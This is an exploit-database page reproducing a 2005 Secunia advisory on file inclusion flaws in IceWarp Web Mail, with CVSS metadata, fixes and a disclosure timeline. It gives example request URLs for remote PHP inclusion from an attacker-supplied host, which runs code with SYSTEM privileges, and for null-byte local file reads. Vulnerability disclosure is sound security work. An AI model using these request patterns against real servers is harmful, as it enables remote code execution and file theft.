Exploitalert - Database of Exploits

IceWarp Web Mail Multiple File InclusionVulnerabilities

CVE	Category	Price	Severity
CVE-2006-0496	CWE-74	$500-$1,000	High

Author	Risk	Exploitation Type	Date
StAkeR	High	Remote	2006-01-07

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

http://cxsecurity.com/ascii/WLB-2005120077

====================================================================== Secunia Research 27/12/2005 - IceWarp Web Mail Multiple File Inclusion Vulnerabilities - ====================================================================== Table of Contents Affected Software....................................................1 Severity.............................................................2 Description of Vulnerability.........................................3 Solution.............................................................4 Time Table...........................................................5 Credits..............................................................6 References...........................................................7 About Secunia........................................................8 Verification.........................................................9 ====================================================================== 1) Affected Software * Merak Mail Server version 8.3.0.r. * VisNetic Mail Server version 8.3.0 build 1. Other versions may also be affected. ====================================================================== 2) Severity Rating: Highly Critical Impact: System access Exposure of sensitive information Where: Remote ====================================================================== 3) Description of Vulnerability Secunia Research has discovered some vulnerabilities in IceWarp Web Mail, which can be exploited by malicious users and by malicious people to disclose potentially sensitive information and to compromise a vulnerable system. 1) The webmail and webadmin services run with PHP configured with "register_global" enabled. The "language" and "lang_settings" variables in "/accounts/inc/include.php" and "/admin/inc/include.php" are not properly initialised when the scripts are accessed directly. This makes it possible to overwrite the variables to cause the scripts to include arbitrary PHP scripts from local and remote sources. Example: http://[host]:32000/accounts/inc/include.php? language=0&lang_settings[0][1]=http://[host]/ http://[host]:32000/admin/inc/include.php? language=0&lang_settings[0][1]=http://[host]/ Successful exploitation allows execution of arbitrary PHP code on a vulnerable server with SYSTEM privileges without requiring authentication. 2) Input passed to the "lang" parameter in "/dir/include.html" isn't properly validated before being used to include files. This can be exploited to include arbitrary files from local sources. Example: http://[host]:32000/dir/include.html?lang=[file]%00 Successful exploitation allows disclosure of arbitrary files on a vulnerable server without requiring authentication. 3) Input passed to the "language" parameter in "/mail/settings.html" isn't properly validated before being saved to the database. This can be exploited in conjunction with overwrite of the "lang_settings" variable, to include arbitrary PHP scripts from local and remote sources. Example: http://[host]:32000/mail/settings.html? id=[current_id]&Save_x=1&language=TEST http://[host]:32000/mail/index.html? id=[current_id]&lang_settings[TEST]=test;http://[host]/; Successful exploitation allows execution of arbitrary PHP scripts on a vulnerable server with SYSTEM privileges but requires a valid logon. 4) The "default_layout" and "layout_settings" variables are not properly initialised when "/mail/include.html" encounters a HTTP_USER_AGENT string that it does not recognise. This can be exploited in conjunction with overwrite of the "default_layout" and "layout_settings" variables to disclose the content of local files. Example (using non-IE/Mozilla/Firefox browser): http://[host]:32000/mail/index.html?/mail/index.html? default_layout=OUTLOOK2003&layout_settings[OUTLOOK2003]=test;[file]%00;2 Successful exploitation allows disclosure of arbitrary files on a vulnerable server without requiring authentication. ====================================================================== 4) Solution Merak Mail Server: Update to version 8.3.5.r. VisNetic Mail Server: Update to version 8.3.5. ====================================================================== 5) Time Table 07/12/2005 - Initial vendor notification. 07/12/2005 - Initial vendor reply. 27/12/2005 - Public disclosure. ====================================================================== 6) Credits Discovered by Tan Chew Keong, Secunia Research. ====================================================================== 7) References No other references available. ====================================================================== 8) About Secunia Secunia collects, validates, assesses, and writes advisories regarding all the latest software vulnerabilities disclosed to the public. These advisories are gathered in a publicly available database at the Secunia website: http://secunia.com/ Secunia offers services to our customers enabling them to receive all relevant vulnerability information to their specific system configuration. Secunia offers a FREE mailing list called Secunia Security Advisories: http://secunia.com/secunia_security_advisories/ ====================================================================== 9) Verification Please verify this advisory by visiting the Secunia website: http://secunia.com/secunia_research/2005-62/advisory/ Complete list of vulnerability reports published by Secunia Research: http://secunia.com/secunia_research/ ======================================================================

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